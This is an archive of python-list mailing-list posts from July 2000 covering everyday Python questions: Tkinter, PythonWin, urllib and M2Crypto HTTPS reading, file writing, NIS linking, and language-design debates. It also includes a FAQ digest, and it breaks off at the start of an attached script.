      o      (    Wolfgang.Strobl at gmd.de          (+49 2241) 14-2394
     /\        *  GMD Forschungszentrum Informationstechnik GmbH
   _`\ `_<===     Schloss Birlinghoven,           | #include
__(_)/_(_)___.-._ D-53754 Sankt Augustin, Germany | <std.disclaimer>


From aa8vb at yahoo.com  Thu Jul  6 08:38:44 2000
From: aa8vb at yahoo.com (Randall Hopper)
Date: Thu, 06 Jul 2000 08:38:44 -0400
Subject: Nth digit of PI
In-Reply-To: <8jvni0$amr$1@slb3.atl.mindspring.net>; from dalke@acm.org on Wed,
 Jul 05, 2000 at 10:29:28AM -0600
References: <bivnjsoq0amb8qjmqtgkbfjsl2df2n2tta@4ax.com> <FvuAy4.51q@cwi.nl>
 <8hogt2$57t$1@nnrp1.deja.com> <8houlu$j9s$1@nntp.itservices.ubc.ca>
 <394889C3.1ED5@esatclear.ie> <t7545.239$ZR1.2944@news.uswest.net>
 <20000705071827.A1015156@vislab.epa.gov> <8jvni0$amr$1@slb3.atl.mindspring.net>
Message-ID: <20000706083844.A1121226@vislab.epa.gov>

Andrew Dalke:
 |I've seen the proof that e is irrational, but don't recall the details.
 |The sketch you outlined isn't sufficient.  Consider
 |
 |  sum(n=1..inf, 1/n^2) = 1 + 1/2 + 1/4 + 1/8 + ... = 2
 |
 |For any finite N in the sum 1..N, the denominator is infinitely large,
 |but the infinite sum is an integer.

Good point.  Thanks for the correction.

-- 
Randall Hopper
aa8vb at yahoo.com



From fannyy at idmail.com  Mon Jul 10 12:13:17 2000
From: fannyy at idmail.com (Fanny Yeung)
Date: Mon, 10 Jul 2000 09:13:17 -0700
Subject: Is there any grid/table in Tkinter ?
References: <07ga5.11385$BS1.314666@brie.direct.ca> <izia5.9108$_O.150809@news2-win.server.ntlworld.com>
Message-ID: <Zmma5.11504$BS1.321615@brie.direct.ca>

Thank Richard.
Mak
richard_chamberlain <richard_chamberlain at ntlworld.com> wrote in message
news:izia5.9108$_O.150809 at news2-win.server.ntlworld.com...
> Hi,
>
> There isn't one that I know of, however there are a few nice examples in
tcl
> which you could convert. Try looking at the links from
> dev.ajubasolutions.com.
>
> Richard
>
> Fanny Yeung <fannyy at idmail.com> wrote in message
> news:07ga5.11385$BS1.314666 at brie.direct.ca...
> > Hi everybody,
> >
> > I am reading "Python and Tkinter Programming" and I am thinking of
writing
> a
> > simple database application that need to show table of data ( something
> > similar to grid control in VB or Jtable in Swing). I guess I can use
> Canvas
> > to implement that but I wonder anyone have implement this already ? If
> yes,
> > can I use it ? Or is there by any chance provided by Tkinter directly or
> > indirectly ?
> >
> > Thanks
> >
> > Mak
> >
> >
>
>




From olivierS.dagenaisP at canadaA.comM  Wed Jul 26 14:34:14 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 26 Jul 2000 18:34:14 GMT
Subject: newbie q: pythonwin editor
References: <8ln2gf$ouq$1@nnrp1.deja.com>
Message-ID: <GaGf5.48002$1h3.676366@news20.bellglobal.com>

Make sure you have build 132, as it has the biggest set of features and
works pretty nicely for me.

Try this:

View/Options/Tabs and Whitespace

Set TabSize and IndentSize to the same thing (3 or 4), and preferably select
"Keep tabs".  You may also want to turn on "Tab-Timmy"

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Jonathan" <theebh at yahoo.com> wrote in message
news:8ln2gf$ouq$1 at nnrp1.deja.com...
> Hi, i have just installed pythonwin(as i plan to do most of my
> programming on windows). I notice that on the interactive screen you
> can change the tab size(e.g. from 8 to 4) and it will automatically add
> tabs for you. However, when i try to create a new python script, the
> text editor that pops out does not add tabs automatically. I couldn't
> found any solution from its help system; does anyone knows how
> to 'toggle' the feature on?
>
> Or do you recommend other text editor that is more suitable for coding
> python? I know there's a webpage somewhere that lists out the various
> text editors available, but i would like to know your opinion(based on
> your experience). TIA.
>
> regards,
> jonathan
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From johann at physics.berkeley.edu  Fri Jul 14 11:32:10 2000
From: johann at physics.berkeley.edu (Johann Hibschman)
Date: 14 Jul 2000 08:32:10 -0700
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <mt1z0wpw1x.fsf@astron.berkeley.edu>

Peter Timaratz writes:

> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason that
> it is case sensitive. So what are the advantages of a case sensitive
> language?

The most obvious is that any identifiers that look different are
different.

"LIsT" and "list" look different, so my "principle of least surprise"
says that they should be different tokens.

But this has been a large debate recently, with opinions all over the
board.

-- 
Johann Hibschman                           johann at physics.berkeley.edu


From sabren at manifestation.com  Fri Jul 28 09:28:53 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Fri, 28 Jul 2000 09:28:53 -0400 (EDT)
Subject: bug in M2Crypto.urllib2 ..
Message-ID: <Pine.BSF.4.10.10007280910170.16089-100000@chi.pair.com>

Hey all,

I've been using the excellent M2Crypto package for its HTTPS
support, and I've discovered a small bug that I'm trying to
track down.

When I hit my own HTTPS pages, everything works just fine. But
when I send a request to another particular server, I'm unable
to read from the url, even though data IS being sent. Here's my
code:

#######################
import M2Crypto.urllib2
import urllib

url = "https://secure.authorize.net/gateway/transact.dll"

page = M2Crypto.urllib2.urlopen(url)
print page.headers
print "-" * 50
while 1:
    line = page.readline()
    if not line: break
    print line
print "-" * 50
######################

Which produces:

Server: Microsoft-IIS/4.0
Date: Fri, 28 Jul 2000 13:17:48 GMT
Content-Type: text/html
Content-Length: 42
Content:

--------------------------------------------------
--------------------------------------------------


If I try page.read(), that doesn't work either...
However, if I step through with the debugger, 
I see:

"Invalid Merchant Login or Account Inactive"

.. 42 characters, which is what I want.
To prove it, I added the following debug code
to M2Crypto.httpslib:

        def getreply(self):
                rep = httplib.HTTP.getreply(self)
                while 1:
                        line = self.file.readline()
                        print "::", line
                        if not line: break
                return rep


and now I get:

:: Invalid Merchant Login or Account Inactive
::
Server: Microsoft-IIS/4.0
Date: Fri, 28 Jul 2000 13:26:20 GMT
Content-Type: text/html
Content-Length: 42
Content:

--------------------------------------------------
--------------------------------------------------

I've been at this for a couple hours now, and my brain is fried, so
maybe I'm missing something obvious here.. I'm going to try again in a
little while to narrow it down some more, but first I thought I'd ask
if anyone else had run into this problem and had a workaround or a
patch...?

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From yemartin at garage.co.jp  Mon Jul 31 02:42:07 2000
From: yemartin at garage.co.jp (Yves-Eric Martin)
Date: Mon, 31 Jul 2000 15:42:07 +0900
Subject: Missing feature in urllib? (Getting HTTP reply code)
Message-ID: <39851FBF3B.60DAYEMARTIN@smtp.garage.co.jp>

    Hello everyone,


    I am now using urllib to get some data from a HTTP server, say:

import urllib
f = urllib.urlopen('http://www.nowhere.com/stuff')
readData = f.read()

    Now my problem is that wether "stuff" exists or not on the server, I
still get a readData, which can be either the actual stuff, or an error
message "404 Not found"...


    Because different servers can return different error messages (or
also because the actual data may be a 404 error message, who knows...),
I cannot rely on the data itself to decide wether to accept my readData
or to discard it: I must use the HTTP reply code to discriminate between
actual data and error messages.


    The problem is: I looked through the urllib documentation, checked
the f.headers, browsed my archives of this mailing list... I still
cannot figure out where to get this HTTP reply code...


    Is there indeed no way to get it with urllib? Maybe there is a good
reason for that (explanations welcome), but it seems like a *big*
limitation to me...


    I guess I'll have to do with httplib for now.


    Help/explanation-greatly-appreciated'ly yours.


-- 
Yves-Eric Martin
Digital Garage Inc.
yemartin at garage.co.jp



From grey at despair.rpglink.com  Sat Jul 29 22:35:06 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 02:35:06 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com>
Message-ID: <slrn8o74um.fjt.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 02:22:31 +0200, Alex Martelli <alex at magenta.com> wrote:
>And of course None can also be converted, it's just not converted
>by a plain int(x).  But it just takes an int(x or 7) to fix that,
>for example (if one wants None to be converted to 7...:-).

    It is my understand that in an int(None or 0) what is happening is that
the None fails, the or kicks in and we're really int()ing an integer in the
first place, not actually converting the None.

>Losing accumulated logs, and/or logging false data, would be utter
>disasters. 

    You're speaking in absolute terms on something which is best determined by
the end user, not the language.  To me, for a lot of the logs I process, no,
it isn't a disaster.  It isn't even a minor annoyance.  It is just a speck of
dust on a rather large desk that I couldn't care less about.  Having the logs
processing puke on me, or any other of dozens of applications I can think of,
because of a inconsiquential burp in the data is the real annoyance.

>bug is clearly the priority; if subtly-false data were being logged
>instead, 

    Uhm, logs processing process logs for one of a variety of uses.  IE, the
data has already been logged, how can it be falsely logged again?

>Why would you need to keep track of all things in the former
>paragraph?  Just be explicit about what is to be done for each
>of the cases it can be, and you're all set.

    Except now you need to do tons of conversion at different levels depending
on what you do with the data.  You either type it up front and have it fail
later, or type it later dozens of times.  Neither is appealing to me.

>Furthermore, I keep pointing out that, if you call the groups method
>of the match object, what Python returns for non-matching groups IS
>UP TO YOU: it will return the argument you pass to groups, None if
>you choose to pass no argument.  So, *what* is supposed to be 'sad'?!

    I don't see where I can tell it to pass something other than None on a
match.  The docs I read, (not here) state that it /will/ return None on a
no-match, not that it /can/ and that you can override it.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From alex at magenta.com  Mon Jul 17 17:17:32 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 17 Jul 2000 23:17:32 +0200
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu>
Message-ID: <8kvti101p79@news1.newsguy.com>

"Kevin Jacobs" <jacobs at darwin.epbi.cwru.edu> wrote in message
news:8kvocr$5mq$1 at eeyore.INS.CWRU.Edu...
    [snip]
> Silly idea 1:
>
>   Until add-on Python grammar modules are available, what about a
PyAlgebra
>   evaluator module.  For a precedent, see regular expressions.  The
>   difference is that linear-algebra syntax can be made too Python-like for
>   some tastes.
>
>   e.g.:
>
>   import PyAlgebra
>
>   PyAlgebra.run(r'A = (A .* B)\C')
>   e = PyAlgebra(r"D = A'*B")
>   e.run() # or e()
    [snip]
> Feel free to chime in!

Seems to me we could do better (in terms of concision) along
the general idea of KJSI1.  As PyAlgebra is basically just
parsing arbitrary syntax into (presumably) some suitable
Python function-like object, what it returns from parsing a
string could well have free variables just as well as bound
ones.

Free variables (to be bound at evaluation-time either by
name or positionally) might be the syntactic default, with
some special marker for parsing-time-bound variables.  Or
maybe the difference need not be know at parse-time.  And
I think this should be an expression-evaluator, only -- no
assignment -- dunno, it seems smoother to me... sort of:

    from PyAlgebra import parse

    expr = parse(r'(Left .* Right)\Divisor')
    Result = expr(Left=X, Right=Y, Divisor=Z)

being equivalent to something like:

    Result = X.dotProduct(Y).rightDiv(Z)


Is there anything that stands in the way of implementing this
sort of thing right now?  Is it much of an improvement?  Would
smoother integrated syntax sugar such as

    Result = (X .* Y) \ Z

be perceived as hugely better than

    Result = whatever(r'(X .* Y) \ Z')

???


I dunno -- I perceive no loss by having RE isolated in such
a way, rather than merged into the language's syntax as in
Perl; indeed, I personally perceive it as an advantage, for
all that RE's are something I use SO frequently.  But then,
I'm not the target-audience for this sort of thing, I guess.
So I can hardly judge how that target-audience would react.


Alex





From nhv at cape.com  Wed Jul  5 10:38:53 2000
From: nhv at cape.com (Norman Vine)
Date: Wed, 5 Jul 2000 10:38:53 -0400
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com>
Message-ID: <8jvh9i$del$1@newsie2.cent.net>

<cmfinlay at SPAMmagnet.com.au>

> number = 100
> print "Number =", number
> OUT = open("TT.txt","w")
> OUT.write("Number =", number) # Error
> OUT.close()
>
> The code above gives the error.
>
> Traceback (innermost last):
>   File "ttest.py", line 5, in ?
>     OUT.write("Number =", number)
> TypeError: read-only buffer, tuple
>
> OUT.write("Hello World")
>
> Works but a number or variable of a number does not.
>
> I have been reading documents on Python to no avail this time.
> I am using Win98 with the latest python for this OS.
>

Try
OUT.write("Number=%d"%(number))

see
Python\Doc\tut\formatting.html

Norman




From thomas at xs4all.net  Tue Jul 18 02:32:47 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 18 Jul 2000 08:32:47 +0200
Subject: nis module error
In-Reply-To: <39736BCB.626BD669@hpbs1711.boi.hp.com>; from jhunt@hpinst1.boi.hp.com on Mon, Jul 17, 2000 at 02:25:47PM -0600
References: <39736BCB.626BD669@hpbs1711.boi.hp.com>
Message-ID: <20000718083247.V7340@xs4all.nl>

On Mon, Jul 17, 2000 at 02:25:47PM -0600, Jacob Hunt wrote:

> I am new to python and want to use the nis module.  When I import the
> module I get the error:

> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ImportError: /usr/lib/python1.5/lib-dynload/nismodule.so: undefined
> symbol: yperr_string

> what does this mean?  How can I correct the problem or is there a way
> around it.
> I am using python 1.5.2 on x86 SuSE 6.4.

The error means the nismodule tries to use a symbol 'yperr_string', which
could be a function or a global variable, and it's listed as being
'external', but it can't find the module where that symbol should live. Try
using 'ldd nismodule.so', it should give something like this:

        libnsl.so.1 => /lib/libnsl.so.1 (0x40008000)
        libc.so.6 => /lib/libc.so.6 (0x4001f000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x2aaaa000)

You need to include the 'nsl' library, libnsl.so.*, in order for NIS to
work. This should be enabled by default, in the Modules/Setup file, but
maybe I'm mistaken, or it got removed somehow. Or perhaps SuSE places the
library in a strange spot, and you need to add that spot to /etc/ld.so.conf

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From mskott at image.dk  Sun Jul 16 11:11:03 2000
From: mskott at image.dk (Martin Skøtt)
Date: Sun, 16 Jul 2000 15:11:03 GMT
Subject: Imports in classes??
Message-ID: <em4uxgan.fsf@jumbo.skott.dk>

Hi

Im currently writing a database applikation using Python and
PostgreSQL. Because I need both a GUI and a web interface i have
chosen to divide the program in three classes (and files): one containing my
database queryes and one for each interface type. But where would be
the right place to import my database connection module (pygresql)? In
each interface file or in the query file?
I guess both solutions would would work, but what would be the "right
thing"?

-- 
Martin Sk?tt
mskott at image.dk

Believe nothing no matter where you read it or who has said it, not even if I
have said it, unless it agrees with your own reason and your own common sense. 
--Buddha


From root at rainerdeyke.com  Wed Jul 26 02:37:59 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Wed, 26 Jul 2000 06:37:59 GMT
Subject: Python is wierd! 
References: <m13HJaf-000wcDC@swing.co.at>
Message-ID: <bHvf5.46271$6y5.29952068@news2.rdc2.tx.home.com>

"Christian Tanzer" <tanzer at swing.co.at> wrote in message
news:m13HJaf-000wcDC at swing.co.at...
>"Rainer Deyke" <root at rainerdeyke.com> wrote:
>> Static variables and methods are a mess anyway. In Python, there is no
>> need for them - just place the variables and functions outside the
>> class.
>
>That's a strong statement. But it is not true.
>
>If you write code using classes as first-class objects, class
>variables and methods can be very useful.

If you need an object that acts like a class with added features, you can
write a wrapper around the class.

class class_with_extra:
  def __init__(self, it, **extras):
    self.__dict__.update(extras)
    self.it = it
  def __getattr__(self, name):
    return getattr(self.it, name)


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor





From drew.csillag at starmedia.net  Mon Jul 24 20:15:36 2000
From: drew.csillag at starmedia.net (Drew Csillag)
Date: Mon, 24 Jul 2000 20:15:36 -0400
Subject: f.write(chr(10)) ?
In-Reply-To: <8F7BD871Fseed7@212.120.66.201>; from ingoogni@CUT.THIS.OUT.home.nl on Mon, Jul 24, 2000 at 06:32:05PM +0000
References: <8F7BD871Fseed7@212.120.66.201>
Message-ID: <20000724201536.C4472@naxos.skunk.org>

On Mon, Jul 24, 2000 at 06:32:05PM +0000, ingo wrote:
> Hi all,
> I'm just beginning with programming and Python. 
> Writing a file using this:
> 
> >>> f=open("testpy",'wd')
> 
> >>> f.write(chr(10)) 	
> 
> >>> f.close()
> 
> When I open the file with HexEdit I see:
>     	0000: 0D 0A
> I expected 
>     	0000: 0A
> 
> What's wrong?

Try instead:
f=open("testpy", 'wb') # note wb not wd

This opens the file in binary mode instead of the default ascii mode, which
does line ending conversions (i.e. LF -> CRLF).

Cheers,
Drew
-- 
print'e=%s'%(lambda x:'%s.%s'%(x[0],x[1:-1]))(str(reduce(lambda
(a,b),y,z=10L**1835:(a+z/b,b*y),[[0L,1L]]+range(1,752))[0]))

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 248 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20000724/d3267701/attachment.sig>

From claird at starbase.neosoft.com  Fri Jul 28 09:25:08 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 28 Jul 2000 08:25:08 -0500
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com>
Message-ID: <0181AB40BE860781.1F0198BC17D97283.0659315248148B76@lp.airnews.net>

In article <8lrt2h013fp at news2.newsguy.com>,
Alex Martelli <alex at magenta.com> wrote:
			.
			.
			.
>> whereas 1 + "foo" is meaningless to almost everyone except Perl coders.
>
>No way -- it's perfectly valid in C, too, except that there it means the
>constant-string "oo".  Really, truly, X my heart, I kid you not, check it
>out if you don't believe me (I wouldn't blame you for disbelieving this!).
>
>
>Alex
>
>
>

Mutably so.  Your reflections on Wittgenstein prompt
me to speculate that soon we'll need to assure young-
sters, "well, yes,
  1 + "foo"
evaluates to
  "oo",
but of course a variable assigned with, for example,
  p = 1 + "foo";
might, depending on implementation details, eventually
end up equal to something other than
  "oo"
without itself having been reassigned."  Will they
believe it?  Like a time before seat belts and
standardized electrical power plugs ...
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From rurban at sbox.tu-graz.ac.at  Mon Jul  3 23:52:50 2000
From: rurban at sbox.tu-graz.ac.at (Reini Urban)
Date: Tue, 04 Jul 2000 03:52:50 GMT
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se> <8jqjf8$s1t$1@nnrp1.deja.com>
Message-ID: <39615d75.142572338@news>

jhylton at my-deja.com wrote:
>I recommend looking at the Yarrow design by Kelsey, Schneier, and
>Ferguson:  http://www.counterpane.com/yarrow.html

If it comes to critical or important data I would NEVER rely on any PRNG
("pseudo is pseudo and never truly random") instead of some
inpredictable hardware noise. There were some C libs around dealing with
some special PC timer chips which can be abused for exactly that.

such as the linux /dev/random pseudodevice or 
truerand.c "Physically random numbers (very nearly uniform)"
by D. P. Mitchell, AT&T. 
This is portable. But I know only the perl Math::TrueRandom module.
--
Reini Urban
http://xarch.tu-graz.ac.at/autocad/news/faq/autolisp.html


From fiona at sitegnome.com  Tue Jul 18 04:25:18 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 18 Jul 2000 08:25:18 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 18th, 2000
Message-ID: <20000718082518.5435.qmail@synop.com>

Hi Guys,

Below are the latest entries into http://python.faqts.com

cheers,

Fiona Czuczman


## Unanswered Questions ########################################


-------------------------------------------------------------
Can a class have two __init__ functions with different argument lists?
http://www.faqts.com/knowledge-base/view.phtml/aid/4799
-------------------------------------------------------------
Mark Tomko



## New Entries #################################################


-------------------------------------------------------------
Searching an example on how to use configparser in python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4827
-------------------------------------------------------------
Fiona Czuczman
Olmy

assuming you have a config file called test.conf and it contains the 
following:

[DEFAULT]

name = pythontest
path = /tmp/test


then you should be able to use the following quickie test script:

from ConfigParser import *

configdict = ConfigParser()
configdict.read('test.conf')

print configdict.defaults().keys()
print configdict.defaults()['path']

path = configdict.defaults()['path']

print path


that should give you a quick idea of how to load your config file 
in ConfigParser's dictionary format.

See the following URL for the reference documentation on what else 
you can do with ConfigParser:

http://www.python.org/doc/current/lib/module-ConfigParser.html

Pay special attention on how to handle RFC822 sections and how to handle 
the "%" expansions.


-------------------------------------------------------------
Where can I get the source for all of the built-in methods, types, etc.?
http://www.faqts.com/knowledge-base/view.phtml/aid/4828
-------------------------------------------------------------
Fiona Czuczman
Alex

Check out this link:


http://www.python.org/download/download_source.html


-------------------------------------------------------------
Working with the new Build 132 of Pythonwin the German Umlauts are not handled properly in the editor windows.  How can we fix this?
http://www.faqts.com/knowledge-base/view.phtml/aid/4832
-------------------------------------------------------------
Fiona Czuczman
Neil Hodgson

132 defaults to using Unicode for editing Python source code and the
interactive window. To stop this, open 
Pythonwin\pywin\scintilla\view.py, find the OnInitialUpdate method and 
comment out the two lines under "# Enable Unicode if we can". Save the 
file, shut down Pythonwin and restart it and see if this fixes the 
problem.


-------------------------------------------------------------
Tthe ^-key kills build 132 immediately, when using the German keyboard layout. How can we stop that?
http://www.faqts.com/knowledge-base/view.phtml/aid/4833
-------------------------------------------------------------
Fiona Czuczman
Neil Hodgson

This is a known problem. It occurs inside the line

   key = win32ui.TranslateVirtualKey(key)

   found in fire_key_event in Pythonwin\pywin\scintilla\bindings.py.

Mark is aware of the problem in the win32ui code, but you might want to 
try this short workaround while waiting for a fixed PythonWin. Just 
before the "if event is None:" line inside fire_key_event insert this 
code.

  if key == 220:
   return 1

This avoids calling win32ui.TranslateVirtualKey for the "^" key. More
tests may be needed for other accent characters or other locales.


-------------------------------------------------------------
Is there a way to position child widgets on a TopLevel widget using absolute coordinates instead of using pack, place or grid?
http://www.faqts.com/knowledge-base/view.phtml/aid/4834
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

You can do absolute positioning with place:

from Tkinter import *
root=Tk()
Label(root,text="He's not the messiah,").place(x=5,y=5)
Label(root,text="he's a very naughty boy.").place(x=35,y=70)
root.mainloop()

Not highly recommended though!


-------------------------------------------------------------
Installing PyOpenGL on Linux
http://www.faqts.com/knowledge-base/view.phtml/aid/4835
-------------------------------------------------------------
Fiona Czuczman
Robin Humble, Stephen R. Figgins

Installing PyOpenGL on Linux is not easy right now.  I managed to do it,
but had to alter some of the source.  I was about to write up how I did
it when I found Robin Humble had done the same thing, and posted it to
the PyOpenGL egroup: 

  http://wxwindows.org/pipermail/wxpython-users/2000-April/001922.html

Here is the text of his post:
=====================================================================  
Hi,
First post...
These are the steps I went through to get pyOpenGL from CVS (May30)
working with RedHat 6.2. I think it'd be similar for RH6.1.
Some of these changes should probably go into CVS...

* install python-numpy-15.3-1.i386.rpm from 
  http://download.sourceforge.net/numpy/python-numpy-15.3-1.i386.rpm

* grab pyOpenGL from CVS using the instructions on
  http://www.pythonpros.com/cvs.html

* edit Setup.in to be all -lGL -lGLU (not MesaGL) and to be link
  paths of -L/usr/X11R6/bin
  - this'd be fine as a spec file patch... don't worry about CVS

* edit src/Togl-1.5/togl.c at ~line 127 to add a 8.0.5 version choice
  which is the same as the 8.0.4 version
  - probably should be in CVS as it appears to work with tk/tcl 8.0.5

* run python BUILD.py
* run python install.py -v

* edit /usr/lib/tk8.0/Togl/pkgIndex.tcl to be .so not .dll
  - there should be an OS dependant 'pkgIndex.tcl' in the support/
    directory that 'install.py' chooses depending upon whether you're 
    running Unix or Windows. Obviously .dll makes no sense under
    Unix/Linux.

* move /usr/lib/tk8.0/Togl/togl.so to be Togl.so
  - maybe if I knew what the syntax of the 'pkgIndex.tcl' file was then
    this wouldn't be necessary as 'togl.so' should be ok? Not sure...

I also have most of the demos from www.python.de working if anyone is
interested. The RawOpengl one being the exception.
I couldn't find any sensible demos from the cvs version of pyOpenGL.
Maybe I don't know the right place to look?

Please let me know if you'd like patches for any of these things and
I'll do my best to help. If the CVS gets updated then I'm happy to
contribute a .spec file and create a source and binary i386 rpm (and a
download site) if anyone is interested. Possibly also an Alpha/Linux
binary rpm.

I'm impressed by the speed and simplicity of pyOpenGL so far! About
100k+ points per frame animating smoothly and happily (software only
Mesa with Athlon700/K7V/G400Max)...

===================================================================== 

Since reading this, I found another person who says they solved some of
the MesaGL library problems by installing the Mesa 3.0 RPM from Robin 
Dunn's wxPython site:

  http://alldunn.com/wxPython/dist/others/


## Edited Entries ##############################################


-------------------------------------------------------------
How do I get IDLE to run a script on startup?
http://www.faqts.com/knowledge-base/view.phtml/aid/3241
-------------------------------------------------------------
Fiona Czuczman
Shae Erisson

Problem:

I've created a script called $IDLESTARTUP.py in the IDLE directory, and 
I'm running idle.pyw with the -s switch, but it doesn't appear to be 
working.  (Running IDLE 0.5 on Win98.)

Solution:

$IDLESTARTUP actually means "read the value of the environment variable
IDLESTARTUP"
That means if you add a line in your autoexec.bat that says:
SET IDLESTARTUP="C:\Program Files\Python\Tools\idle\autoidle.py"

Then the -s switch will work (as long as you have a file name
autoidle.py in the correct path that's a python file that is :)

You can of course change the value of that variable to start with any
file you prefer. For shell variables, you don't need to surround them
with double quotes if there aren't any spaces in the path you're giving
it.
ex:
SET IDLESTARTUP=C:\Python\Tools\idle\idlesetup.py
that will work fine since there aren't any spaces (like "Program Files")
in the directory specification.






From rumjuggler at cryptarchy.org  Fri Jul 21 17:55:31 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 21 Jul 2000 21:55:31 GMT
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net> <3977C2A8.6D8F7586@my.signature> <8la8ib$8um$1@slb2.atl.mindspring.net>
Message-ID: <01ihns4q4urkisti1mc02kadfohpo32mov@4ax.com>

On 21 Jul 2000 19:33:31 GMT, aahz at netcom.com (Aahz Maruch) wrote:

>In article <3977C2A8.6D8F7586 at my.signature>,
>Greg Ewing  <see at my.signature> wrote:
>>"J?rgen Hermann" wrote:
>>> 
>>> merge() is the best yet, since it's a common (programming) term with a
>>> well-defined meaning.
>>
>>But it's a DIFFERENT meaning!
>>
>>merge([1,2,4,6,7,8],[3,5,9]) --> [1,2,3,4,5,6,7,8,9])
>
>No, that's only when "merge" is a modifier for "sort".

I would expect merge() called on n lists to return a list consisting of all
its arguments concatenated.

-- 
Barnabas T. Rumjuggler

My despair has long since been ground up fine and is no more than the daily
salt and pepper of my life.
 -- Russell Hoban, _Turtle Diary_


From cg at schlund.de  Mon Jul 31 13:17:40 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Mon, 31 Jul 2000 19:17:40 +0200
Subject: Dictionaries behaviour Linux vs. Windows
Message-ID: <3985B4B4.8F7BD5F7@schlund.de>

Hi!
I have the following problem with Python 1.5.2:

dict = {}
dict.get("test", []).append(1)

On Windows 95: dict == {"test": [1]}
On Linux: dict == {}
What's the difference?

Regards
Carsten.


From francois.granger at free.fr  Fri Jul 21 02:57:14 2000
From: francois.granger at free.fr (=?ISO-8859-1?Q?Fran=E7ois_Granger?=)
Date: Fri, 21 Jul 2000 06:57:14 GMT
Subject: Pythonwin attribute expansion
References: <8l5a2g$egp$1@nnrp1.deja.com> <59Bd5.7287$4p3.52016@news-server.bigpond.net.au> <PaBd5.7288$4p3.52032@news-server.bigpond.net.au> <326536345498D311B3BC00105A39802A0747A7@newsintern.dspace.de> <8l79ou$shk$1@nnrp1.deja.com>
Message-ID: <1ee3cps.2law471a5cb8lN@paris11-nas6-50-9.dial.proxad.net>

Howard B. Golden <hgolden at my-deja.com> wrote:

> Note this timeline for problem resolution:
> 
> - Problem found/message on c.l.p: 2000 July 20 0000 GMT (California)
> - Solution suggested:             2000 July 20 0215 GMT (Australia)
> - Solution coded:                 2000 July 20 ???? GMT (Germany)
> - Solution accepted:              2000 July 20 1600 GMT (California)
> 
> (Stefan, I didn't have a message time for your reply.  Could you supply
> it?)
>From my newsreader, it is 4 hours 12 minutes befor your last one or 13
hours 57 minutes after your original post.

-- 
"Le plus difficile au monde est de dire en y pensant ce que tout le
monde dit sans y penser."
- Alain (?mile Chartier, dit), Histoire de mes pens?es
- cit?e par Natacha


From pinard at iro.umontreal.ca  Sun Jul  9 10:38:21 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 09 Jul 2000 10:38:21 -0400
Subject: Updated `tree' program
Message-ID: <oqpuontllu.fsf@titan.progiciels-bpi.ca>

Hi, gang!

I updated my `tree' program (a `du' displayer) once again, and thought
that some might like that I share it with you.  I was not satisfied with
all directory sizes being given in a single column, making difficult to
visually sort them out.  So I tried two things.  The `-m' option is surely
fun, but maybe not that useful for deep hierarchies, so I did not make it
the default.  The old behaviour is available with the `-p' option.

-------------- next part --------------
#!/usr/bin/env python
